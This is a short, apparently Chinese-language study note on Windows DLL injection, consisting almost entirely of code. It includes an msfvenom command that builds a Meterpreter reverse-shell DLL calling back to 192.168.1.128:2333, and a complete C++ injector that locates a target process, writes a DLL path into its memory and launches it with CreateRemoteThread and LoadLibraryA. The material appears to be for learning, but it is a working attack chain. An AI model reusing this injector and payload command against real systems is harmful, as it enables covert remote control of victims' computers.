HANDLE CreateRemoteThread(
  HANDLE                 hProcess, //进程句柄
  LPSECURITY_ATTRIBUTES  lpThreadAttributes, //一般可为NULL
  SIZE_T                 dwStackSize,    // 0即可
  LPTHREAD_START_ROUTINE lpStartAddress,  //执行函数地址
  LPVOID                 lpParameter,   //函数参数
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=2333 -f dll -o inject.dll

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>


using namespace std;


int main() {

    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    //通过遍历进程快照找到目标进程，获得其PID。因为OpenProcess函数需要PID作为输入。
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    BOOL bFlag = Process32First(hProcessSnap, &pe32);
    DWORD pid = -1;

    while (bFlag) {
        if (strcmp(pe32.szExeFile, "Test2.exe") == 0) {
            pid = pe32.th32ProcessID;
        }
        bFlag = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    //通过OpenProcess获得目标进程的句柄
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess == NULL) {
        return -1;
    }
    //向目标进程申请一块空间存储要加载的dll的路径
    LPVOID pszDllName = VirtualAllocEx(hProcess, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    char szDllName[100] = "D:\逆向学习资源\进程注入\ReflectiveDLLInjection-master\bin\reflective_dll.dll";
    BOOL bRet = WriteProcessMemory(hProcess, pszDllName, szDllName, MAX_PATH, NULL);
    if (!bRet) {
        return -1;
    }
    //获取LoadLibraryA函数的地址，系统库的地址在每个进程中虚拟地址都是不变的。
    PVOID LoadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    //在目标进程中创建远程线程执行LoadLibraryA函数加载我们的dll库，目标进程只会操作其进程空间内的内容
    HANDLE m_hInjecthread = CreateRemoteThread(hProcess,NULL,0, (LPTHREAD_START_ROUTINE)LoadLibraryAddr, pszDllName,NULL,NULL);
    //释放申请的空间
    BOOL bRes = VirtualFreeEx(hProcess, pszDllName,4096, MEM_DECOMMIT);

    if (NULL == bRes)
    {
        return -1;
    }
    //等待线程工作结束后关闭句柄
    DWORD dw = WaitForSingleObject(m_hInjecthread, -1);
    if (dw) {
        CloseHandle(m_hInjecthread);
    }
    CloseHandle(hProcess);

    system("pause");
    return 0;
}